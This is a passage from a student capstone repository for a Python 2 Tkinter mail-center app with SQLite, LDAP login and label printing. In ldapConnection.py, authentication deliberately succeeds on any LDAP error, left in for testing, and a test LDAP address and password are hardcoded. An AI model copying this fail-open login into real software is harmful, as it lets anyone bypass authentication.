False\n #print \"Error %s:\" %e.args[0]\n #sys.exit()\n \n finally:\n #Close connection\n if con:\n con.close()\n\n def select_employee(self, employee_username):\n \"\"\" Attempts to pull the username from the database. If successful,\n the user is a mail center employee \"\"\"\n #Connect to database. Creates new one if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n #Creates the employee table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS employee(username TEXT NOT NULL)')\n\n \n cur.execute('SELECT * FROM employee WHERE username = ?', (employee_username,))\n\n row = cur.fetchone()\n\n if row == None:\n return False\n else:\n return True\n except lite.Error, e:\n if con:\n con.rollback()\n\n #print \"Error %s:\" %e.args[0]\n #sys.exit()\n \n finally:\n #Close connection\n if con:\n con.close()\n\n def insert_nonstudent(self, nonstudent_info):\n \"\"\" Attempts to insert information for clients that are not AU students.\n Rolls back the database to last stable instance if fails. Only\n to be used by mail center employees. \"\"\"\n\n #Connect to database. Create a new one if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n #Create the nonstudent table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS nonstudent(username TEXT NOT NULL, password TEXT NOT NULL, fName TEXT NOT NULL, lName TEXT NOT NULL)')\n\n\n cur.executemany('INSERT INTO nonstudent VALUES(?,?,?,?)', (nonstudent_info,))\n\n con.commit()\n\n return True\n except lite.Error, e:\n if con:\n con.rollback()\n\n \n print \"Error %s:\" %e.args[0]\n sys.exit()\n return False\n finally:\n if con:\n con.close()\n\n def delete_nonstudent(self, nonstudent_username):\n \"\"\" Attempts to delete information for clients that are not AU students.\n Rolls back the database to last stable instance if fails. Only\n to be used by mail center employees. \"\"\"\n\n #Connect to database. Create a new one if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n #Create the nonstudent table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS nonstudent(username TEXT NOT NULL, password TEXT NOT NULL, fName TEXT NOT NULL, lName TEXT NOT NULL)')\n\n cur.execute('DELETE FROM nonstudent WHERE username = ?', (nonstudent_username,))\n con.commit()\n\n return True\n \n except lite.Error, e:\n if con:\n con.rollback()\n\n return False\n #print \"Error %s:\" %e.args[0]\n #sys.exit()\n finally:\n if con:\n con.close()\n\n \"\"\" def update_nonstudent(self, nonstudent_info):\n Attempts to change the password of a client that is not an AU student.\n Rolls back the database to last stable instance if fails.\n Only to be used by mail center employees. \n\n #Connect to database. Create a new one if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n #Create the nonstudent table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS nonstudent(username TEXT NOT NULL, password TEXT NOT NULL, fName TEXT NOT NULL, lName TEXT NOT NULL)')\n\n cur.execute('UPDATE nonstudent SET password = ? WHERE username = ?)', (nonstudent_info,))\n con.commit()\n\n return True\n \n except lite.Error, e:\n if con:\n con.rollback()\n\n return False\n #print \"Error %s:\" %e.args[0]\n #sys.exit()\n finally:\n if con:\n con.close() \"\"\"\n\n def select_nonstudent(self, nonstudent_username):\n \"\"\" Attempts to select the login info of a client that is not an AU student.\n Rolls back the dataase to last stable instance if fails.\n Only to be used to log nonstudents in.\"\"\"\n #Connect to database. Create a new one if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n #Create the nonstudent table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS nonstudent(username TEXT NOT NULL, password TEXT NOT NULL, fName TEXT NOT NULL, lName TEXT NOT NULL)')\n\n cur.execute('SELECT username, password FROM nonstudent WHERE username = (?)', (nonstudent_username,))\n\n row = cur.fetchone()\n return row\n \n except lite.Error, e:\n if con:\n con.rollback()\n print \"Error %s:\" %e.args[0]\n sys.exit()\n finally:\n if con:\n con.close()\n \n\n\n## FOR TESTING ##\ndef main():\n DB = DataBase()\n\n fubar = ('fubar', 'fubar', 'fubar', 'fubar')\n DB.insert_nonstudent(fubar)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6734007000923157, "alphanum_fraction": 0.6734007000923157, "avg_line_length": 11.375, "blob_id": "7c2058d38f80305f65a42a7c3ba1bcffe06ae341", "content_id": "8f37a06a9f4b4be0902612a756482317e89e3500", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 297, "license_type": "permissive", "max_line_length": 45, "num_lines": 24, "path": "/README.md", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "MailCenterFinalProject\n======================\n\nThis is the Final Project for Capstone Course\n\n=======================\n\nProject Breakdown \n\nEric \n* Login\n* Label Maker\n\n\nAndrew \n* dataBase\n\nJason\n* forwardClientBackend\n* forwardClientGui\n\nMakenzie\n* mailCenterClientBackend \n* mailCenterClientGui\n" }, { "alpha_fraction": 0.575903594493866, "alphanum_fraction": 0.5903614163398743, "avg_line_length": 16.29166603088379, "blob_id": "36a1a3050fcc50f9b4c9d47efdf7908956986587", "content_id": "7e1a94b1742e2dd144a04ba52d9f08d534386066", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "permissive", "max_line_length": 43, "num_lines": 24, "path": "/install/setup.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "# setup.py\n# Eric Spence\n# 11/17/14\n# Purpose: To install pip and easy_install \nimport get_pylabels \nimport get_pip\nimport get_easy_install\nimport sys\n\ndef main():\n # Install Pip #\n try:\n get_pip.main()\n except:\n print 'Already Installed'\n # Install easy install #\n try:\n get_easy_install.main()\n except:\n print 'Already Installed'\n \n\nif __name__=='__main__':\n main()\n" }, { "alpha_fraction": 0.6442307829856873, "alphanum_fraction": 0.6442307829856873, "avg_line_length": 31.375, "blob_id": "d6dfd1b84ae6ab993ffd2293d6186d25fd435738", "content_id": "a4e1ab5b1428305554358588a63c41b3008dc3f4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1040, "license_type": "permissive", "max_line_length": 94, "num_lines": 32, "path": "/install/get_pylabels.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "from subprocess import check_output\n\nclass Pylabels():\n \"\"\"\n Installs Pylabels and reportlab and passlib\n\n This class uses easy tools and pip to install pylabels and reportlab\n which are both modules used in creating the labels\n\n It also install passlib in order to encrypt password to store in the database \n\n Attributes:\n none\n \"\"\"\n # installs the modules\n def install_it(self):\n # has to be imported here because it is installed earlier in the installation proccess\n from setuptools.command import easy_install\n # Installs Pylabels #\n easy_install.main([\"-U\", \"pylabels\"])\n # Installs reportlab via command prompt\n check_output('python -m pip install -U reportlab', shell = True) \n # Installs passlib via command prompt\n check_output('python -m pip install -U passlib', shell = True)\n\n# used to call the install function\ndef main():\n new = Pylabels() \n new.install_it()\n \nif __name__ == '__main__':\n main()\n\n \n" }, { "alpha_fraction": 0.6119999885559082, "alphanum_fraction": 0.6235555410385132, "avg_line_length": 33.61538314819336, "blob_id": "94168ce4f1ebd1d325c87c1820d27e525466e7aa", "content_id": "679a74fa77d9cc032f0c2ae37f3dccaa5b0f5851", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2250, "license_type": "permissive", "max_line_length": 110, "num_lines": 65, "path": "/employeeInsert.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "# New Mail Center Employee Insert\n# Andrew Fenwick\n\nimport re\nimport Tkinter as tk\nimport tkMessageBox\nimport sqlite3\nimport mailCenterClientGui\n\nfrom dataBase import DataBase\n\nDB = DataBase()\n\nclass employeeInsert(tk.Frame):\n def __init__(self, master=None):\n #create frame\n tk.Frame.__init__(self,master)\n self.grid()\n self.create_widgets()\n\n#Insert widgets\n def create_widgets(self):\n #instantiate the text box, labels, and button\n self.introLabel = tk.Label(self, text = 'Enter employee username')\n self.InsertUser = tk.Entry(self, width=40)\n self.saveButton = tk.Button(self, text = 'Enter', command = self.update) \n self.UsernameLabel = tk.Label(self, text = 'Username')\n\n #display the text box, labels, and button\n self.introLabel.grid()\n self.UsernameLabel.grid(row = 1, column = 0)\n self.InsertUser.grid(row = 1, column = 1)\n \n self.saveButton.grid()\n\n def update(self):\n #run employee insert in dataBase.py and check if successful\n if DataBase.insert_employee(DB, self.InsertUser.get()) == True:\n #display success messageand empty text box\n tkMessageBox.showinfo('Username accepted', 'The username has been accepted.')\n self.InsertUser.delete(0, tk.END)\n self.destroy()\n \n newGui = mailCenterClientGui.Application()\n newGui.master.title('Mail Center Client')\n newGui.master.geometry(\"800x300\")\n newGui.mainloop()\n \n elif DataBase.insert_employee(DB, self.InsertUser.get()) == False:\n #display failure message and empty text box\n tkMessageBox.showinfo('An error has occurred', 'The username could not be added to the database.')\n self.InsertUser.delete(0, tk.END)\n else:\n #display message if nothing was entered\n tkMessageBox.showinfo('No username given', 'Please enter a username first.')\n print self.InsertUser.get()\n\ndef main():\n app = employeeInsert()\n app.master.title('Input Employee Username')\n app.master.geometry('%dx%d%+d%+d' % (400, 75, 300, 300))\n app.mainloop()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5901303291320801, "alphanum_fraction": 0.6054003834724426, "avg_line_length": 37.085105895996094, "blob_id": "5e9edf8a9a4408cd2b4eb2b2a58a6a32b16ed05c", "content_id": "c7fc4a92b8242dbc5479e34ace44296d221cd5ce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5370, "license_type": "permissive", "max_line_length": 138, "num_lines": 141, "path": "/login.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "# LoginFrontEnd.py \n# Author: Eric Spence\n# 10/11/14\n\nimport Tkinter as tk\nfrom Tkinter import IntVar\nimport tkMessageBox\nimport ldapConnection\nimport dataBase\nimport mailCenterClientGui\nimport forwardClientGui\nimport newUser\n\nfrom passlib.hash import sha256_crypt\n\n\nclass Application(tk.Frame):\n \"\"\"\n Used to create the Gui for the Login\n\n This creates a gui with Instructions for the user. It has to entry widgets\n for username and password. Password will show up as ****\n\n Attributes:\n master : Defaults to None\n \"\"\"\n # Constructor - Creates the frame\n def __init__(self, master=None):\n tk.Frame.__init__(self,master)\n self.grid()\n self.create_widgets()\n # Adds all of the widgets to the frame \n def create_widgets(self):\n # Creating the Intro Label\n self.introLabel = tk.Label(self, text='Please Enter UserName and Password')\n # Creating the login Button\n self.loginButton = tk.Button(self, text='Login', command = self.login)\n # Creating userName entry widget and populating it with 'User Name' \n self.userName = tk.Entry(self, width=40)\n self.userName.insert(0,'User Name')\n # Creating labels that say User Name and Password\n self.userNameLabel = tk.Label(self, text='User Name')\n self.userPasswordLabel = tk.Label(self, text='Password')\n # Creating an entry widget for password that will show ****\n\n self.userPassword = tk.Entry(self, width=40, show='*')\n\n self.userPassword.insert(0,'***')\n # Create button to create non-au login\n self.createNewUserButton = tk.Button(self,text='Create New Login', command = self.create_new_login)\n # Adds the widgets to the Tkinter frame\n self.introLabel.grid()\n self.userNameLabel.grid(row=1, column = 0)\n self.userName.grid(row=1,column=1)\n self.userPasswordLabel.grid(row=2,column=0)\n self.userPassword.grid(row=2,column=1)\n self.loginButton.grid(row=4, column = 0)\n self.createNewUserButton.grid(row=4,column =1)\n \n # Adding radio buttons to the login frame\n self.selection = IntVar() # IntVar is a Tkinter function to interact with radio Buttons\n self.mailCenterLogin = tk.Radiobutton(self, text='Employee', variable = self.selection, value=1).grid(row=3,column=0)\n self.studentLogin = tk.Radiobutton(self, text='Student', variable = self.selection, value=2).grid(row=3,column=1)\n self.nonAuLogin = tk.Radiobutton(self,text='NonAu Login', variable = self.selection, value=3).grid(row=3,column=2)\n \n # The action taken with the button click\n def login(self):\n if self.attempt_login():\n print self.attempt_login()\n print 'ADSFADS'\n typePerson = self.selection.get()\n self.destroy()\n if(typePerson == 1):\n # Creating the mailCenterClientGui\n newGui = mailCenterClientGui.Application()\n newGui.master.title('Mail Center Client')\n newGui.master.geometry(\"800x300\")\n newGui.mainloop()\n # Creates \n if(typePerson == 2 or typePerson == 3):\n newGui = forwardClientGui.ClientFrontend()\n newGui.master.title('Mail Forwarding ')\n newGui.master.geometry(\"800x300\")\n newGui.mainloop()\n else:\n tkMessageBox.showinfo('Incorrect Information', 'Your username or password is incorrect')\n \n # Attempts to login \n def attempt_login(self):\n typePerson = self.selection.get()\n print self.userName.get()\n print self.userPassword.get()\n connection = ldapConnection.ldapConnection(self.userName.get(), self.userPassword.get())\n\n # This is for a mailcenter login\n if(typePerson == 1):\n print connection.connect()\n if connection.connect():\n data = dataBase.DataBase()\n if data.select_employee(self.userName.get()):\n return True\n else:\n return False\n\n # Student/Facualty login \n if(typePerson == 2):\n if connection.connect():\n return True\n else:\n return False\n \n # Non-Student login\n if(typePerson == 3):\n db = dataBase.DataBase()\n response = db.select_nonstudent(self.userName.get()) # Gets the username and hash of userpassword\n print response\n if response != None:\n if sha256_crypt.verify(self.userPassword.get(), response[1]): # Checks if password inputted and the one in db are the same\n return True\n else:\n return False\n return False\n \n def create_new_login(self):\n self.destroy()\n # Create a new frame to create a new user\n newUserFrame = newUser.Application()\n newUserFrame.master.title('Create a new User')\n newUserFrame.master.geometry(\"%dx%d%+d%+d\" % (400, 150, 400, 400))\n newUserFrame.mainloop()\n \n# Creates the GUI\ndef main():\n app = Application()\n app.master.title('Login')\n app.master.geometry(\"%dx%d%+d%+d\" % (700, 150, 400, 400))\n app.mainloop()\n \n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6146083474159241, "alphanum_fraction": 0.6391158103942871, "avg_line_length": 36.16071319580078, "blob_id": "4f5646d1be8d6c2bd8d8e756e463a6abbeeccd89", "content_id": "980cf7140b20f57d5358f1e1cf3319b124b48bbb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2081, "license_type": "permissive", "max_line_length": 100, "num_lines": 56, "path": "/labelCreator.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "# labelCreator.py\n# Eric Spence\n# 11/17/14\n# Purpose: to create a label \nimport labels\nfrom reportlab.graphics import shapes\nimport subprocess\n\n# Got parts of this code from pylabels github - basic.py #\nclass labelMaker():\n # Constructor \n def __init__(self, personInfo):\n self.personalInfo = personInfo\n \n # Create an A4 portrait (210mm x 297mm) sheets with 2 columns and 8 rows of\n # labels. Each label is 90mm x 25mm with a 2mm rounded corner. The margins are\n # automatically calculated.\n \n\n # Create a function to draw each label. This will be given the ReportLab drawing\n # object to draw on, the dimensions (NB. these will be in points, the unit\n # ReportLab uses) of the label, and the object to render.\n def draw_label(self, label, width, height, obj):\n # Just convert the object to a string and print this at the bottom left of\n # the label.\n name = shapes.String(width/2.0, 52, obj['name'], textAnchor=\"middle\")\n label.add(name)\n s = shapes.String(width/2.0, 30, obj['address'], textAnchor=\"middle\")\n label.add(s)\n s = shapes.String(width/2.0, 15, obj['state'], textAnchor=\"middle\")\n label.add(s)\n # draws the label in the pdf file\n def create_everything(self):\n specs = labels.Specification(210, 297, 2, 8, 90, 25, corner_radius=2)\n \n # Create the sheet.\n sheet = labels.Sheet(specs, self.draw_label, border=True)\n # Add a couple of labels.\n sheet.add_label(self.personalInfo)\n\n # Note that any oversize label is automatically trimmed to prevent it messing up\n # other labels.\n\n # Save the file and we are done.\n sheet.save('basic.pdf')\n subprocess.Popen('basic.pdf',shell=True)\n print(\"{0:d} label(s) output on {1:d} page(s).\".format(sheet.label_count, sheet.page_count))\n\n# main for testing\ndef main():\n foo = {'name': 'Richard Spence', 'address': '8888 Rochester Hill Court', 'state':'UT'}\n test = labelMaker(foo)\n test.create_everything()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6068575382232666, "alphanum_fraction": 0.6254993081092834, "avg_line_length": 35.192771911621094, "blob_id": "3b8c1ea61095b5dd8a98ad418615189fc0100d21", "content_id": "47cbcb32e8c99c799de7c40b4c1eb5cb1410ec77", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3004, "license_type": "permissive", "max_line_length": 108, "num_lines": 83, "path": "/newUser.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "import Tkinter as tk\nfrom Tkinter import IntVar\nimport tkMessageBox\nimport dataBase\nimport login\nfrom passlib.hash import sha256_crypt\n\n\nclass Application(tk.Frame):\n \"\"\"\n Used to create the Gui for the Login\n\n This creates a gui with Instructions for the user. It has to entry widgets\n for username and password. Password will show up as ****\n\n Attributes:\n master : Defaults to None\n \"\"\"\n # Constructor - Creates the frame\n def __init__(self, master=None):\n tk.Frame.__init__(self,master)\n self.grid()\n self.create_widgets()\n # Adds all of the widgets to the frame \n def create_widgets(self):\n # Creating labels that say First Name and entry to put it\n self.userFirstName = tk.Entry(self, width=40)\n self.userFirstName.insert(0,'First Name')\n \n # Creating labels that say Last Name and entry to put it\n self.userLastName = tk.Entry(self, width=40)\n self.userLastName.insert(0,'Last Name')\n \n # Creating userName entry widget and populating it with 'User Name' \n self.userName = tk.Entry(self, width=40)\n self.userName.insert(0,'User Name')\n \n # Creating labels that say User Name and Password\n self.userNameLabel = tk.Label(self, text='User Name')\n self.userPasswordLabel = tk.Label(self, text='Password')\n \n # Creating an entry widget for password that will show ****\n self.userPassword = tk.Entry(self, width=40, show='*')\n self.userPassword.insert(0,'***')\n \n # Create button to create non-au login\n self.createNewUserButton = tk.Button(self,text='Create New Login', command = self.create_new_user)\n\n # Adds the widgets to the Tkinter frame\n self.userFirstName.grid(row=0,column=1)\n self.userLastName.grid(row=1,column=1)\n \n self.userNameLabel.grid(row=2, column = 0)\n self.userName.grid(row=2,column=1)\n self.userPasswordLabel.grid(row=3,column=0)\n self.userPassword.grid(row=3,column=1)\n \n self.createNewUserButton.grid(row=4,column =1)\n # Creates a new user in the database\n def create_new_user(self):\n # Hashes the password so that it is not stored in plan text in the db\n hash = sha256_crypt.encrypt(self.userPassword.get()) \n # A new database\n db = dataBase.DataBase() \n db.insert_nonstudent((self.userName.get(), hash, self.userFirstName.get(), self.userLastName.get()))\n # Destroys the current form\n self.destroy()\n \n # Creates new Login Form to login \n app = login.Application()\n app.master.title('Login')\n app.master.geometry(\"%dx%d%+d%+d\" % (700, 150, 400, 400))\n app.mainloop()\n \n# Creates the GUI\ndef main():\n app = Application()\n app.master.title('Create a new User')\n app.master.geometry(\"%dx%d%+d%+d\" % (400, 150, 400, 400))\n app.mainloop()\n \nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5440067052841187, "alphanum_fraction": 0.5557418465614319, "avg_line_length": 27.404762268066406, "blob_id": "a96a8118673f843b227c45223205b2b8486dabfe", "content_id": "86f27e7579b02fe2cdfe72e22fee9773fa37a7f4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1193, "license_type": "permissive", "max_line_length": 92, "num_lines": 42, "path": "/ldapConnection.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "import ldap\nimport tkMessageBox\nclass ldapConnection():\n '''\n Connects to Ldap\n\n This allows the user to Login in to the ldap server\n\n Attributes:\n dn: username\n pw: password\n '''\n # Constructor\n def __init__(self,dn,pw):\n self.dn = dn\n self.pw = pw\n self.ldapServer = 'ldap://10.73.56.15'\n self.ldapConnection = ldap.initialize(self.ldapServer)\n # connects to the ldap server\n def connect(self):\n # attempts to connect to ldap server\n try:\n returnval = self.ldapConnection.bind(self.dn, self.pw)\n print 'connected'\n # if they can connect it sees who they are \n if (self.ldapConnection.whoami_s() != None):\n print self.ldapConnection.whoami_s()\n return True\n else:\n return False\n except ldap.LDAPError, e:\n tkMessageBox.showinfo('LDAP ERROR - RETURN TRUE SO IT CAN KEEP BEING TESTED', e)\n return True\n exit(3)\n\n# Used for testing \ndef main():\n foo = ldapConnection('Group1', 'cpsc4500@')\n foo.connect()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5309839844703674, "alphanum_fraction": 0.5478123426437378, "avg_line_length": 34.07638931274414, "blob_id": "146976f8b60acc1d5e15f9e46f3b218f737c280e", "content_id": "08912f14e09be3ff685d702c8c76bf65df7d0d95", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5051, "license_type": "permissive", "max_line_length": 125, "num_lines": 144, "path": "/mailCenterClientGui.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "#mailCenterClientGui.py\n#Makenzie Bontrager\n#November 11\n#provide mail center employees with interface to search forwarding clients, and\n#print labels\n\nimport re\nimport labelCreator\nimport Tkinter as tk\nimport tkMessageBox\nimport sqlite3\nimport employeeInsert\nconn = sqlite3.connect('clientDB2.db')\n\nclass Application(tk.Frame):\n \n def __init__ (self, master = None):\n tk.Frame.__init__(self, master)\n self.grid()\n self.create_widgets()\n rows = self.getDBinfo()\n theDict = self.fillLB(rows)\n \n \n def create_widgets(self):\n #make info labels\n self.welcomeLabel = tk.Label(self, text = 'Welcome Mail Center')\n self.searchLabel = tk.Label(self, text = 'Search for forwarding student')\n self.infoLB = tk.Listbox(self, selectmode='multiple', width=70)\n \n #make buttons\n self.searchButton = tk.Button(self, text= 'Search',\n command = self.search)\n self.printButton = tk.Button(self, text = 'Print Selected Labels',\n command = self.printLabel)\n self.addButton = tk.Button(self, text = 'Add Mail Center Employee',\n comman = self.create_new_employee)\n \n #make search info labels\n self.lastName = tk.Label(self, text = 'Last Name:') \n self.firstName = tk.Label(self, text = 'First Name:')\n self.fwdLabel = tk.Label(self, text = 'Forwarding Clients')\n \n self.infoLB = tk.Listbox(self, selectmode='single', width=70)\n \n\n #make entry boxes\n self.firstEntry = tk.Entry(self, width=40)\n self.lastEntry = tk.Entry(self, width=40)\n\n #display widgets in grid\n self.welcomeLabel.grid(row=0, column=0, columnspan=5)\n self.searchLabel.grid(row=1, column=0)\n \n self.lastName.grid(row=3, column=2)\n self.lastEntry.grid(row=3, column=3)\n self.firstName.grid(row=3, column=0, sticky = 'e')\n self.firstEntry.grid(row=3, column=1)\n self.searchButton.grid(row=3, column=4)\n self.fwdLabel.grid(row=5, column=0, columnspan=2)\n \n self.infoLB.grid(row=6,column=0,columnspan=2)\n self.printButton.grid(row=6, column=3)\n self.addButton.grid(row = 5, column=3)\n\n self.infoLB.grid(row=6,column=0,columnspan=3)\n\n def getDBinfo(self): \n # Get a cursor object\n conn = sqlite3.connect('clientDB2.db')\n cursor = conn.cursor()\n\n cursor.execute('''SELECT fname, lname, forwardingAddress, city,\n state, zipcode FROM client''')\n \n all_rows = cursor.fetchall()\n conn.close()\n \n return all_rows\n\n def fillLB(self, rows):\n self.infoLB.delete(0, 'end')\n \n for row in rows:\n self.infoLB.insert('end',\n '{1}, {0}: {2}, {3} {4} {5}'.format(row[0], row[1], row[2],\n row[3], row[4], row[5]))\n\n def search(self):\n dataRows = self.getDBinfo()\n\n lname = self.lastEntry.get()\n fname = self.firstEntry.get()\n\n searchList = []\n\n if lname == '' and fname == '':\n tkMessageBox.showinfo('Error', 'Please enter first/last name.')\n else:\n for row in dataRows:\n #if first and last name are equal, append\n if fname == row[0] and lname == row[1]:\n searchList.append(row)\n #if only first name is equal, append\n elif fname == row[0]:\n searchList.append(row)\n #if only last name is equal, append\n elif lname == row[1]:\n searchList.append(row)\n if searchList == []:\n tkMessageBox.showinfo('No Results', 'No matches found.')\n self.fillLB(dataRows)\n else:\n self.fillLB(searchList) \n \n def printLabel(self):\n selected = self.infoLB.get('active')\n matchObj = re.match(r'([\\w]+), ([\\w]+): ([\\w\\s]+), ([\\w\\s]+)' ,\n selected, re.M|re.I)\n print matchObj.group(1)\n print matchObj.group(2)\n print matchObj.group(3)\n\n foo = {'name': matchObj.group(1) + ' ' + matchObj.group(2) , 'address': matchObj.group(3), 'state':matchObj.group(4)}\n test = labelCreator.labelMaker(foo)\n test.create_everything()\n\n def create_new_employee(self):\n self.destroy()\n # Create a new frame to create a new user\n newUserFrame = employeeInsert.employeeInsert()\n newUserFrame.master.title('Input Employee Username')\n newUserFrame.master.geometry(\"%dx%d%+d%+d\" % (400, 150, 400, 400))\n newUserFrame.mainloop() \n \n\ndef main():\n app = Application()\n app.master.title('Mail Center Interface')\n app.master.geometry('800x300')\n app.mainloop()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5571637153625488, "alphanum_fraction": 0.5723684430122375, "avg_line_length": 33.715736389160156, "blob_id": "c4d26fa97bc32b33daa90b12723d728e5a39d3c7", "content_id": "8397230377a3d5e7345adbb1d2b6a68abbe6e6e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6840, "license_type": "permissive", "max_line_length": 228, "num_lines": 197, "path": "/forwardClientGui.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "#forwardClientGui.py\n#November2014\n#Jason Samuels\n#Students will enter their forwarding information.\n\n#Using Tkinter\nimport Tkinter as tk # link to the Gui.py file\nimport tkMessageBox\n#Connecting to the database\nimport sqlite3\nconn = sqlite3.connect('clientDB2.db')\n\n\nclass ClientFrontend(tk.Frame):\n def __init__(self, master=None):\n \n tk.Frame.__init__(self,master)\n self.grid()\n self.create_widgets()\n \n \n\n#These are the widgets.\n def create_widgets(self):\n \n self.introLabel = tk.Label(self, text='Please Enter Forwarding Information (All Is Required)')\n self.saveButton = tk.Button(self, text='Save',command=self.save,width=20)\n\n self.TypeFirstName = tk.Entry(self, width=40)\n self.TypeFirstName.insert(0,'')\n \n self.TypeLastName = tk.Entry(self, width=40)\n self.TypeLastName.insert(0,'')\n\n self.TypeStudentID = tk.Entry(self, width=40)\n self.TypeStudentID.insert(0,'')\n \n self.TypeStreetAddress = tk.Entry(self, width=40)\n self.TypeStreetAddress.insert(0,'')\n\n \n self.TypeState = tk.Entry(self, width=40)\n self.TypeState.insert(0,'')\n\n self.TypeCity = tk.Entry(self, width=40)\n self.TypeCity.insert(0,'') \n\n self.TypeZip = tk.Entry(self, width=40)\n self.TypeZip.insert(0,'')\n\n self.TypeEmail = tk.Entry(self, width=40)\n self.TypeEmail.insert(0,'')\n\n \n self.TypeGradDay= tk.Entry(self, width=40)\n self.TypeGradDay.insert(0,'')\n \n\n \n\n ##########################################################################\n #Displaying the Textboxes and the labels \n self.FirstNameLabel = tk.Label(self, text=' First Name:')\n self.LastNameLabel = tk.Label(self, text='Last Name:')\n self.StudentIDLabel = tk.Label(self, text='Student ID:')\n self.StreetAddressLabel = tk.Label(self, text=' Street Address:')\n self.StateLabel = tk.Label(self, text='State:')\n self.CityLabel = tk.Label(self, text=' City:')\n self. ZipLabel= tk.Label(self, text='Zip:')\n self.EmailLabel = tk.Label(self, text=' Email:')\n self.GradDayLabel = tk.Label(self, text='Graduation Year:')\n\n self.introLabel.grid()\n self.FirstNameLabel.grid(row=2, column =2)\n self.TypeFirstName.grid(row=2,column=3)\n \n self.LastNameLabel.grid(row=2, column = 0,sticky='e')\n self.TypeLastName.grid(row=2,column=1)\n \n self.StudentIDLabel.grid(row=4, column = 0,sticky='e')\n self.TypeStudentID.grid(row=4,column=1)\n \n self.StreetAddressLabel.grid(row=4, column = 2)\n self.TypeStreetAddress.grid(row=4,column=3)\n \n self.StateLabel.grid(row=5,column=0,sticky='e')\n self.TypeState.grid(row=5,column=1)\n \n self.CityLabel.grid(row=5, column = 2)\n self.TypeCity.grid(row=5,column=3)\n \n self.ZipLabel.grid(row=7,column=0,sticky='e')\n self.TypeZip.grid(row=7,column=1)\n \n self.EmailLabel.grid(row=7,column=2)\n self.TypeEmail.grid(row=7,column=3)\n \n self.GradDayLabel.grid(row=9, column = 0,sticky='e')\n self.TypeGradDay.grid(row=9,column=1)\n\n #Displaying the Textboxes and the labels \n ###########################################################################\n \n self.saveButton.grid()\n\n \n\n def save(self):\n #Setting if variables\n #Validation for inputs\n fname=self.TypeFirstName.get()\n lname=self.TypeLastName.get()\n StudentID=self.TypeStudentID.get()\n Email=self.TypeEmail.get()\n StreetAddress=self.TypeStreetAddress.get()\n City=self.TypeCity.get()\n State=self.TypeState.get()\n Zip=self.TypeZip.get()\n GradDay=self.TypeGradDay.get()\n \n \n \n #If all are not entered at all then disply error message.\n #Validation for inputs\n\n try:\n \n if len(StudentID) < 7 or len(StudentID)>7:\n tkMessageBox.showinfo('Error Message','Please enter 7 digit Student ID! ')\n\n if len(Zip) < 5 or len(Zip)>5:\n tkMessageBox.showinfo('Error Message','Please enter 5 digit Zip Code! ')\n \n if len(GradDay) < 4 or len(GradDay)>4:\n tkMessageBox.showinfo('Error Message','Please enter Year of Graduation! ')\n \n \n if fname=='' or lname=='' or StudentID=='' or Email=='' or StreetAddress==''\\\n or City==''or State=='' or Zip=='' or GradDay=='':\n tkMessageBox.showinfo('Error Message','Please enter all info!')\n else:\n if self.attempt_save():\n tkMessageBox.showinfo('Updated Info','Info has been Updated and Saved!')\n StudentID=int(self.TypeStudentID.get())\n Zip=int(self.TypeZip.get())\n GradDay=int(self.TypeGradDay.get())\n except ValueError:\n tkMessageBox.showinfo('Error Message','Please enter correct format for Graduation Date,ZipCode and/or Student ID! ')\n \n\n \n \n #attempt save method\n def attempt_save(self):\n '''Connecting to the database and inserting/saving the info\n into the database that the user inputs '''\n \n #Saving data to the database table\n conn = sqlite3.connect('clientDB2.db')\n c = conn.cursor()\n # Insert statement into the table \n c.execute(\"INSERT INTO client(fName,lName,studentID,email,forwardingAddress,city,state,zipCode,gradDate) VALUES (?,?,?,?,?,?,?,?,?)\",\n 